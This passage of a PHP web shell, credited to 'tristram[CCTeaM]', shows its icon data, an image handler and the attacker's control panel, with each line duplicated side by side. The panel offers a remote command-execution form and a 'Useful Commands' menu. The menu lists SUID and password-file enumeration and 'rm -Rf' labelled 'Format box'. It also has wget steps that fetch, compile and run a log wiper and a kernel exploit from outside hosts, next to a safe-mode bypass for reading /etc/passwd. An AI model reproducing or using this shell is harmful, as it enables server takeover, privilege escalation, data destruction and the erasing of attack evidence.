| 2917 | "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". | 2917 | "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". |
| 2918 | "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". | 2918 | "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". |
| 2919 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2919 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2920 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2920 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2921 | "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". | 2921 | "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". |
| 2922 | "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". | 2922 | "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". |
| 2923 | "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". | 2923 | "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". |
| 2924 | "ADs=", | 2924 | "ADs=", |
| 2925 | "ext_log"=> | 2925 | "ext_log"=> |
| 2926 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". | 2926 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". |
| 2927 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". | 2927 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". |
| 2928 | "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", | 2928 | "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", |
| 2929 | "ext_php"=> | 2929 | "ext_php"=> |
| 2930 | "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". | 2930 | "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". |
| 2931 | "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", | 2931 | "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", |
| 2932 | "ext_pl"=> | 2932 | "ext_pl"=> |
| 2933 | "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". | 2933 | "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". |
| 2934 | "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", | 2934 | "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", |
| 2935 | "ext_swf"=> | 2935 | "ext_swf"=> |
| 2936 | "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". | 2936 | "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". |
| 2937 | "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". | 2937 | "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". |
| 2938 | "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". | 2938 | "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". |
| 2939 | "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". | 2939 | "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". |
| 2940 | "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", | 2940 | "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", |
| 2941 | "ext_tar"=> | 2941 | "ext_tar"=> |
| 2942 | "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". | 2942 | "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". |
| 2943 | "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". | 2943 | "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". |
| 2944 | "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". | 2944 | "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". |
| 2945 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". | 2945 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". |
| 2946 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2946 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2947 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2947 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2948 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2948 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2949 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". | 2949 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". |
| 2950 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". | 2950 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". |
| 2951 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". | 2951 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". |
| 2952 | "u4tLAgEAOw==", | 2952 | "u4tLAgEAOw==", |
| 2953 | "ext_txt"=> | 2953 | "ext_txt"=> |
| 2954 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". | 2954 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". |
| 2955 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". | 2955 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". |
| 2956 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", | 2956 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", |
| 2957 | "ext_wri"=> | 2957 | "ext_wri"=> |
| 2958 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". | 2958 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". |
| 2959 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". | 2959 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". |
| 2960 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", | 2960 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", |
| 2961 | "ext_xml"=> | 2961 | "ext_xml"=> |
| 2962 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". | 2962 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". |
| 2963 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 2963 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 2964 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". | 2964 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". |
| 2965 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". | 2965 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". |
| 2966 | "IQA7" | 2966 | "IQA7" |
| 2967 | ); | 2967 | ); |
| 2968 | //For simple size- and speed-optimization. | 2968 | //For simple size- and speed-optimization. |
| 2969 | $imgequals = array( | 2969 | $imgequals = array( |
| 2970 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), | 2970 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), |
| 2971 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), | 2971 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), |
| 2972 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), | 2972 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), |
| 2973 | "ext_html"=>array("ext_html","ext_htm"), | 2973 | "ext_html"=>array("ext_html","ext_htm"), |
| 2974 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), | 2974 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), |
| 2975 | "ext_lnk"=>array("ext_lnk","ext_url"), | 2975 | "ext_lnk"=>array("ext_lnk","ext_url"), |
| 2976 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), | 2976 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), |
| 2977 | "ext_doc"=>array("ext_doc","ext_dot"), | 2977 | "ext_doc"=>array("ext_doc","ext_dot"), |
| 2978 | "ext_js"=>array("ext_js","ext_vbs"), | 2978 | "ext_js"=>array("ext_js","ext_vbs"), |
| 2979 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), | 2979 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), |
| 2980 | "ext_wri"=>array("ext_wri","ext_rtf"), | 2980 | "ext_wri"=>array("ext_wri","ext_rtf"), |
| 2981 | "ext_swf"=>array("ext_swf","ext_fla"), | 2981 | "ext_swf"=>array("ext_swf","ext_fla"), |
| 2982 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), | 2982 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), |
| 2983 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") | 2983 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") |
| 2984 | ); | 2984 | ); |
| 2985 | if (!$getall) | 2985 | if (!$getall) |
| 2986 | { | 2986 | { |
| 2987 | header("Content-type: image/gif"); | 2987 | header("Content-type: image/gif"); |
| 2988 | header("Cache-control: public"); | 2988 | header("Cache-control: public"); |
| 2989 | header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); | 2989 | header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); |
| 2990 | header("Cache-control: max-age=".(60*60*24*7)); | 2990 | header("Cache-control: max-age=".(60*60*24*7)); |
| 2991 | header("Last-Modified: ".date("r",filemtime(__FILE__))); | 2991 | header("Last-Modified: ".date("r",filemtime(__FILE__))); |
| 2992 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} | 2992 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} |
| 2993 | if (empty($images[$img])) {$img = "small_unk";} | 2993 | if (empty($images[$img])) {$img = "small_unk";} |
| 2994 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} | 2994 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} |
| 2995 | echo base64_decode($images[$img]); | 2995 | echo base64_decode($images[$img]); |
| 2996 | } | 2996 | } |
| 2997 | else | 2997 | else |
| 2998 | { | 2998 | { |
| 2999 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} | 2999 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} |
| 3000 | natsort($images); | 3000 | natsort($images); |
| 3001 | $k = array_keys($images); | 3001 | $k = array_keys($images); |
| 3002 | echo "<center>"; | 3002 | echo "<center>"; |
| 3003 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} | 3003 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} |
| 3004 | echo "</center>"; | 3004 | echo "</center>"; |
| 3005 | } | 3005 | } |
| 3006 | exit; | 3006 | exit; |
| 3007 | } | 3007 | } |
| 3008 | if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} | 3008 | if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} |
| 3009 | ?> | 3009 | ?> |
| 3010 | </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | 3010 | </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
| 3011 | <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> | 3011 | <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> |
| 3012 | <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE> | 3012 | <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE> |
| 3013 | <br> | 3013 | <br> |
| 3014 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | 3014 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
| 3015 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> | 3015 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> |
| 3016 | <tr> | 3016 | <tr> |
| 3017 | <td width="50%" height="83" valign="top"><center> | 3017 | <td width="50%" height="83" valign="top"><center> |
| 3018 | <div align="center">Useful Commands | 3018 | <div align="center">Useful Commands |
| 3019 | </div> | 3019 | </div> |
| 3020 | <form action="<?php echo $surl; ?>"> | 3020 | <form action="<?php echo $surl; ?>"> |
| 3021 | <div align="center"> | 3021 | <div align="center"> |
| 3022 | <input type=hidden name=act value="cmd"> | 3022 | <input type=hidden name=act value="cmd"> |
| 3023 | <input type=hidden name="d" value="<?php echo $dispd; ?>"> | 3023 | <input type=hidden name="d" value="<?php echo $dispd; ?>"> |
| 3024 | <SELECT NAME="cmd"> | 3024 | <SELECT NAME="cmd"> |
| 3025 | <OPTION VALUE="uname -a">Kernel version | 3025 | <OPTION VALUE="uname -a">Kernel version |
| 3026 | <OPTION VALUE="w">Logged in users | 3026 | <OPTION VALUE="w">Logged in users |
| 3027 | <OPTION VALUE="lastlog">Last to connect | 3027 | <OPTION VALUE="lastlog">Last to connect |
| 3028 | <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins | 3028 | <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins |
| 3029 | <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! | 3029 | <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! |
| 3030 | <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? | 3030 | <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? |
| 3031 | <OPTION VALUE="which wget curl w3m lynx">Downloaders? | 3031 | <OPTION VALUE="which wget curl w3m lynx">Downloaders? |
| 3032 | <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO | 3032 | <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO |
| 3033 | <OPTION VALUE="netstat -atup | grep IST">Open ports | 3033 | <OPTION VALUE="netstat -atup | grep IST">Open ports |
| 3034 | <OPTION VALUE="locate gcc">gcc installed? | 3034 | <OPTION VALUE="locate gcc">gcc installed? |
| 3035 | <OPTION VALUE="rm -Rf">Format box (DANGEROUS) | 3035 | <OPTION VALUE="rm -Rf">Format box (DANGEROUS) |
| 3036 | <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) | 3036 | <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) |
| 3037 | <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 | 3037 | <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 |
| 3038 | <OPTION VALUE="./zap2">WIPELOGS PT3 | 3038 | <OPTION VALUE="./zap2">WIPELOGS PT3 |
| 3039 | <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) | 3039 | <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) |
| 3040 | <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) | 3040 | <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) |
| 3041 | <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) | 3041 | <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) |
| 3042 | <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) | 3042 | <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) |
| 3043 | <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) | 3043 | <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) |
| 3044 | <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) | 3044 | <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) |
| 3045 | </SELECT> | 3045 | </SELECT> |
| 3046 | <input type=hidden name="cmd_txt" value="1"> | 3046 | <input type=hidden name="cmd_txt" value="1"> |
| 3047 | | 3047 | |
| 3048 | <input type=submit name=submit value="Execute"> | 3048 | <input type=submit name=submit value="Execute"> |
| 3049 | <br> | 3049 | <br> |
| 3050 | Warning. Kernel may be alerted using higher levels </div> | 3050 | Warning. Kernel may be alerted using higher levels </div> |
| 3051 | </form> | 3051 | </form> |
| 3052 | </td> | 3052 | </td> |
| 3053 | <td width="50%" height="83" valign="top"><center> | 3053 | <td width="50%" height="83" valign="top"><center> |
| 3054 | <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> | 3054 | <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> |
| 3055 | <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> | 3055 | <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> |
| 3056 | <input type="hidden" name="client" value="firefox-a"> | 3056 | <input type="hidden" name="client" value="firefox-a"> |
| 3057 | <input type="hidden" name="rls" value="org.mozilla:en-US:official"> | 3057 | <input type="hidden" name="rls" value="org.mozilla:en-US:official"> |
| 3058 | <input type="hidden" name="hl" value="en"> | 3058 | <input type="hidden" name="hl" value="en"> |
| 3059 | <input type="hidden" name="hs" value="b7p"> | 3059 | <input type="hidden" name="hs" value="b7p"> |
| 3060 | <input type=submit name="btnG" VALUE="Search"> | 3060 | <input type=submit name="btnG" VALUE="Search"> |
| 3061 | </form></center> | 3061 | </form></center> |
| 3062 | </td> | 3062 | </td> |
| 3063 | </tr></TABLE><br> | 3063 | </tr></TABLE><br> |
| 3064 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> | 3064 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
| 3065 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> | 3065 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> |
| 3066 | <tr> | 3066 | <tr> |
| 3067 | <td width="50%" height="83" valign="top"><center> | 3067 | <td width="50%" height="83" valign="top"><center> |
| 3068 | <div align="center">Php Safe-Mode Bypass (Read Files) | 3068 | <div align="center">Php Safe-Mode Bypass (Read Files) |
| 3069 | </div><br> | 3069 | </div><br> |
| 3070 | <form action="<?php echo $surl; ?>"> | 3070 | <form action="<?php echo $surl; ?>"> |
| 3071 | <div align="center"> | 3071 | <div align="center"> |
| 3072 | File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> | 3072 | File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> |
| 3073 | 3073 | ||
| 3074 | 3074 | ||
| 3075 | 3075 | ||
| 3076 | 3076 | ||
| 3077 | 3077 | ||
| 3078 | 3078 | ||
| 3079 | <? | 3079 | <? |
| 3080 | 3080 | ||
| 3081 | function rsg_read() | 3081 | function rsg_read() |
| 3082 | { | 3082 | { |
| 3083 | $test=""; | 3083 | $test=""; |
